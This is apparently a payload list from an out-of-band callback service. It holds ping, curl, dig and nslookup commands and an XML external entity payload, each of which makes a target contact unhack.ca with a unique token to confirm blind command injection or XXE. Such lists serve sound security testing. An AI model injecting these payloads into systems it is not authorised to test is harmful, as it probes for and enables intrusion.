$ ping -c1 -p 00d7bbd2f061e882bdb01a4118f13f00 unhack.ca
$ curl http://unhack.ca/p/d7bbd2f061e882bdb01a4118f13f
$ dig d7bbd2f061e882bdb01a4118f13f @unhack.ca
$ dig d7bbd2f061e882bdb01a4118f13f.ns.unhack.ca
C:\> nslookup d7bbd2f061e882bdb01a4118f13f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/d7bbd2f061e882bdb01a4118f13f">]> <foo>&xxe;</foo>